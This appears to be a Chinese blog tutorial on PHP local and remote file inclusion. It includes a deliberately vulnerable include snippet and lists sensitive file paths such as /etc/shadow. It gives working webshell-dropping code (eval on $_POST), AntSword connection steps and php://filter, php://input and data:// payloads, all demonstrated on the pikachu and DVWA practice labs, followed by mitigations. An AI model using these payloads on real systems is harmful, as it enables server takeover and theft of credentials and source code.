image.png

文件包含漏洞简介

  • 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时候直接调用此文件,而无须再次编写,这种调用文件的过程称为包含。
  • 程序员为了使代码更加灵活,经常将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
  • 文件包含漏洞分为本地包含(LFI)和远程包含(RFI)。文件包含漏洞在 PHP Web Application中居多,在JSP ASP程序中偏少。

    PHP中有四个文件包含的函数

    1. include():找不到被包含的文件时只会产生警告(E_WARNING),脚本将会继续执行;
    2. include_once():与include()类似,唯一的区别是如果该文件中的代码已经被包含,则不会再次包含;
    3. require():找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
    4. require_once():- 该函数和require()类似,区别在于若该文件中的代码已经被包含,则不会再次包含。

漏洞产生原因

  • 利用一个例子来展示这个漏洞

  • 先创建一个网页代码include.php

    1
    2
    3
    <?php
    include $_GET['test'];
    ?>
  • 再创建一个php代码phpinfo.php

    1
    2
    3
    <?php
    phpinfo();
    ?>
  • 利用文件包含就可以执行phpinfo.php的页面
    image.png

  • 此时我们将phpinfo的后缀名改成.jpg.txt.gif都会被解析出来

  • 所有就可以利用这个漏洞,将恶意代码通过文件包含的方式进行解析利用

本地文件包含漏洞(LFI)

  • 能够打开并包含本地文件的漏洞,称为本地文件包含漏洞(LFI)

    一些常见的敏感目录信息路径:
    Windows系统

    1. 查看系统版本C:\boot.ini
    2. IIS配置文件C:\windows\system32\inetsrv\MetaBase.xml
    3. 存储Windows系统初次安装的密码C:\windows\repair\sam
    4. Mysql配置C:\ProgramFiles\mysql\my.ini
    5. MySQL root密码C:\ProgramFiles\mysql\data\mysql\user.MYD
    6. php配置信息C:\windows\php.ini
      Linux/Unix系统
    7. /etc/password //账户信息
    8. /etc/shadow //账户密码信息
    9. /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
    10. /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
    11. /usr/local/app/php5/lib/php.ini //PHP相关配置
    12. /etc/httpd/conf/httpd.conf //Apache配置文件
    13. /etc/my.conf //mysql配置文件

实例pikachu

  • 在选择框当中有五个选择,通过查看器看到分别对应五个文件
  • 通过抓包,对filename进行修改
    image.png
    image.png
  • 可以看到在include文件夹下,所有需要使用相对地址
    image.png
  • 改成相对地址就可以访问了
    image.png
    image.png
  • 通过文件包含漏洞就可以获取到系统的敏感信息

实例DVWA

  • 当一时没发现系统文件上传漏洞或者文件上传格式有严格限制时,可以上传一张图片马到服务器,再利用文件包含漏洞进行解析。
  • 制作图片马
    1
    2
    3
    <?php
    fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]) ?>;');
    ?>
    image.png
  • 然后在文件上传File Upload处上传图片马
    image.png
  • 通过回显知道了文件路径
  • 然后在文件包含当中运行
    image.png

image.png

  • 运行成功
    image.png
  • 然后用中国蚁剑连上去
    image.png
  • 连接成功

远程文件包含漏洞(RFI)

  • php.iniallow_url_fopenallow_url_include为On时,文件包含函数是可以加载远程文件的,这类漏洞被称为远程文件包含漏洞
    image.png

实例piakchu

  • 制作一句话木马.txt
    1
    2
    3
    4
    5
    6
    <?php
    $myfile = fopen("webshell.php", "w");
    $txt = '<?php @eval($_POST["123"]);?>';
    fwrite($myfile, $txt);
    fclose($myfile);
    ?>
  • 通过抓包修改filename地址,远程运行代码
    image.png
  • 成功运行
    image.png

PHP伪协议

名称 描述
file:// 访问本地文件系统
http:// 访问http(s)网址
ftp:// 访问FTP(s)URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
  • PHP内置了很多URL风格的封装协议,可用于类似fopen()copy()file_exists()filesize()的文件系统函数

file://协议

  • file://C:/Windows/system.ini
    image.png
    image.png

php://协议

  • php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input

    php://filter用于读取源码。
    php://input用于执行php代码。

  • php://filter:读取源代码是需要进行base64编码,不然会被直接执行
  • 条件:allow_url_fopen :off/on、allow_url_include:off/on
  • php://filter/convert.base64-encode/resource=文件路径
    image.png
    image.png
  • 再解码就可以看到源码了
    image.png
  • php://input:可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
  • 条件:allow_url_fopen :off/on、allow_url_include:on
  • filename处填php://input
  • 直接在请求包最后加入php代码
    image.png
    image.png

ZIP://协议

  • 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

    zip://中只能传入绝对路径。
    要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
    只需要是zip的压缩包即可,后缀名可以任意更改。
    相同的类型还有zlib://bzip2://

  • 条件:
  • allow_url_fopen :off/on
  • allow_url_include:off/on
  • zip://[压缩包绝对路径]#[压缩包内文件]

data://协议

  • 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
  • 条件:
  • allow_url_fopen :on
  • allow_url_include:on

    data://text/plain,<?php phpinfo();?>
    //如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
    data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

伪协议利用条件

image.png

文件包含漏洞防护

  1. 使用str_replace等方法过滤掉危险字符
  2. 配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
  3. php版本升级,防止%00截断
  4. 对上传的文件进行重命名,防止被读取
  5. 对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
  6. 做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化